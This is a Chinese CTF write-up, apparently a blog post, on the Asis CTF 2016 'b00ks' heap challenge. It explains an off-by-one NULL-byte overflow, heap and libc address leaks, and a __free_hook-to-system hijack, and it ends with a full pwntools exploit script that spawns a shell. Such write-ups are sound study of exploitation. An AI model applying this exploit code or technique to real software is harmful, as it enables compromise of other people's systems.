堆溢出-off-by-one-b00ks

原理:顾名思义就是只溢出一个字节,溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据,或者用NULL字节进行覆盖,从而造成数据泄露,或者块结构数据的控制

接下来用一道经典的off-by-one的题目来详细解释

[Asis CTF 2016] b00ks 

这个程序有5个模块

而在change模块中存在\x00的溢出

而change模块的数据是存在unk_202040

creatbook时malloc映射的地址时存在unk_202060

二者的偏移刚好是0x20,那么我们就可以\x00的溢出,把\x00覆盖掉来泄露出book的地址

可以看到创建book1的地址已经把\x00覆盖,打印author的时候就可以把book1泄露出来

p.sendlineafter('name: ','a'*0x1f+'b')
creatbook(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
printf()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('heap_addr-->'+hex(heap_addr))

接下来是想办法getshell

知识点:一个chunk>144被free时会被放到unsorted bin 中,unsorted bin 的bk指针时glibc里面的,如果我们能够泄露,那么就可以得到基址,最后劫持__free_hook函数即可。

book1的指针和book1_des的指针地址实际上只有最后两位不同,我们只要控制号book1的大小,就能让book1_des的后两位为\x00,这样在堆溢出一次把book1的指针后两位覆盖,这样book1就指向了book1_des,而des是可编辑的,给我们伪造book1,即fake_book1创造了条件。

首先再创建一个book2再free得到unsorted bin

可以看到heap_addr到bk指针的偏移就是0x20+0x10

这里还要creat book3来劫持__free_hook,首先把fake_book1_des指针指向book3_des的指针,这样后面就可以通过edit模块,把book3_des修改为__free_hook,在把__free_hook的内容改为system,达到劫持的目的

那么我们fake_book1的伪造为

creatbook(0x80,'cccccccc',0x60,'dddddddd')
creatbook(0x20,'/bin/sh',0x20,'/bin/sh')  #创造book3,为劫持__free_hook
delete(2)       #创造unsorted bin
 
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20)) 
#伪造book1,即fake_book1,
#将fake_book1_name指向bk指针
#将fake_book1_des指向book3的des
change('a'*0x20)  #把book1的指针改为fake_book1
printf() #leak

泄露出来的bk指针 

查询这个指针上下200

发现__memalign_hook和__malloc_hook,这两个都是glibc里面的,这里选择__malloc_hook,偏移为0x68,即可泄露libc

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("leak-->"+hex(libc_base))
libc_base+=-0x68-libc.symbols['__malloc_hook']
print('libc_base-->'+hex(libc_base))
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']

edit(1,p64(__free_hook)+p64(0x10)) #把book3的des指针改为__free_hook

 最后再把book3_des改为system,输入/bin/sh来getshell

edit(3,p64(system))
delete(3)

最终exp

from pwn import *
#p = remote('node5.buuoj.cn','29085')
p=process('./b00ks')
elf = ELF('./b00ks')
libc = ELF("./libc-2.23.so")
context.log_level = 'info'
context(arch='amd64',os='linux',log_level='debug')
#gdb.attach(p)
 
 
def creatbook(name_size,name,content_size,content):
    p.sendlineafter('> ','1')
    p.sendlineafter('size: ',str(name_size))
    p.sendlineafter('chars): ',name)
    p.sendlineafter('size: ',str(content_size))
    p.sendlineafter('tion: ',content)
def delete(index):
    p.sendlineafter('> ','2')
    p.sendlineafter('delete: ',str(index))
def edit(index,content):
    p.sendlineafter('> ','3')
    p.sendlineafter('edit: ',str(index))
    p.sendlineafter('ption: ',content)
def printf():
    p.sendlineafter('> ','4')
def change(author_name):
    p.sendlineafter('> ','5')
    p.sendlineafter('name: ',author_name)
 
p.sendlineafter('name: ','a'*0x1f+'b')
creatbook(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
printf()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('heap_addr-->'+hex(heap_addr))
creatbook(0x80,'cccccccc',0x60,'dddddddd')
creatbook(0x20,'/bin/sh',0x20,'/bin/sh')
delete(2)
 
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
change('a'*0x20)
printf()
 
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("leak-->"+hex(libc_base))
libc_base+=-0x68-libc.symbols['__malloc_hook']
print('libc_base-->'+hex(libc_base))
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
 
edit(1,p64(__free_hook)+p64(0x10))
 
print('__free_hook-->'+hex(__free_hook))
 
edit(3,p64(system))
delete(3)
p.interactive()
#pause()

作者理解的第一道堆题,纪念一下

【Asis CTF 2016】b00ks

[Asis CTF 2016] b00ks —— Off-By-One笔记与思考

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值